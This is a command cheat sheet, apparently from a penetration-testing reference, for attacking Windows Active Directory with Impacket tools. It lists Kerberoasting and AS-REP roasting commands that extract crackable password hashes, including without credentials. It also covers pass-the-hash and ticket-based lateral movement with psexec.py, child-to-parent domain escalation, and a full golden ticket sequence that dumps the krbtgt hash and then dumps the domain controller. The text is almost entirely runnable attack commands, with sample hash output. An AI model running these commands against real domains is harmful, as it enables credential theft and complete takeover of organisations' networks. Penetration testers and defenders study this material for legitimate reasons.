# List all user accounts with SPNsGetUserSPNs.py DOMAIN/user:password@DC_IP# With NTLM hashGetUserSPNs.py DOMAIN/user@DC -hashes LMHASH:NTHASH# Kerberos authenticationGetUserSPNs.py DOMAIN/user@DC -k -no-pass -dc-ip DC_IP
# Request TGS tickets and output hashesGetUserSPNs.py DOMAIN/user:password@DC -request# Save to file for crackingGetUserSPNs.py DOMAIN/user:pass@DC -request -outputfile kerberoast.txt# Request for specific userGetUserSPNs.py DOMAIN/user:pass@DC -request-user serviceaccount
# Request and save tickets in .ccache formatGetUserSPNs.py DOMAIN/user:pass@DC -request -save# This creates files like:# serviceaccount.ccache# mssql-svc.ccache
# Target specific userGetUserSPNs.py domain/user:pass@dc -request-user sql_service# From file of usernamesGetUserSPNs.py domain/user:pass@dc -usersfile users.txt -request# Stealth mode (no TGS requests, just enumerate)GetUserSPNs.py domain/user:pass@dc -stealth
Machine Accounts
# Only show machine accounts with SPNsGetUserSPNs.py domain/user:pass@dc -machine-only# Request TGS for machine accountsGetUserSPNs.py domain/user:pass@dc -request-machine
Cross-Domain
# Specify target domain (cross-domain kerberoasting)GetUserSPNs.py user:pass@dc -target-domain TARGET.DOMAIN.COM# With DC hostnameGetUserSPNs.py user:pass -dc-host DC.TARGET.COM -dc-ip 10.0.0.1
# After cracking, use the passwordpsexec.py CORP/sql_svc:CrackedPassword@target# Or get hash and pass-the-hashpython3 -c "import hashlib; print(hashlib.new('md4', 'CrackedPassword'.encode('utf-16le')).hexdigest())"psexec.py CORP/sql_svc@target -hashes :NTHASH
# Enumerate and request AS-REP for vulnerable usersGetNPUsers.py DOMAIN/user:password@DC_IP# With NTLM hashGetNPUsers.py DOMAIN/user@DC -hashes LMHASH:NTHASH# Request and save to fileGetNPUsers.py DOMAIN/user:pass@DC -request -outputfile asrep.txt
# No credentials needed if you have a username listGetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat# This works because AS-REP roasting doesn't require authentication!GetNPUsers.py DOMAIN/ -usersfile usernames.txt -dc-ip 10.0.0.1
# John the Ripper format (default)GetNPUsers.py domain/user:pass@dc -request -format john# Hashcat formatGetNPUsers.py domain/user:pass@dc -request -format hashcat# Save to fileGetNPUsers.py domain/ -usersfile users.txt -dc-ip DC -outputfile hashes.txt
$ GetNPUsers.py CORP/ -usersfile users.txt -dc-ip 10.0.0.1Impacket v0.12.0 - Copyright 2023 Fortra[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User jdoe doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$vulnerable_user@CORP.LOCAL:a1b2c3d4e5f6789012345678901234$abcdef...[-] User service_account doesn't have UF_DONT_REQUIRE_PREAUTH set
Convert tickets between .ccache and .kirbi formats.
# Kirbi to CCache (Mimikatz to Impacket)ticketConverter.py ticket.kirbi ticket.ccache# CCache to Kirbi (Impacket to Mimikatz)ticketConverter.py ticket.ccache ticket.kirbi# Use converted ticketexport KRB5CCNAME=ticket.ccachepsexec.py DOMAIN/user@target -k -no-pass
# Escalate from child to parent domainraiseChild.py CHILD.PARENT.LOCAL/Administrator:password@DC_IP# With hashraiseChild.py CHILD.PARENT.LOCAL/Administrator@DC -hashes :NTHASH
# 1. Dump krbtgt hash (requires DA or DC compromise)secretsdump.py CORP/DA:pass@dc -just-dc-user krbtgt# 2. Get domain SID# From secretsdump output or:lookupsid.py CORP/user:pass@dc# 3. Create Golden Ticketticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... \ -domain CORP.LOCAL FakeAdmin# 4. Use ticket for any system in domainexport KRB5CCNAME=FakeAdmin.ccachepsexec.py CORP/[email protected] -k -no-passsecretsdump.py CORP/[email protected] -k -no-pass -just-dc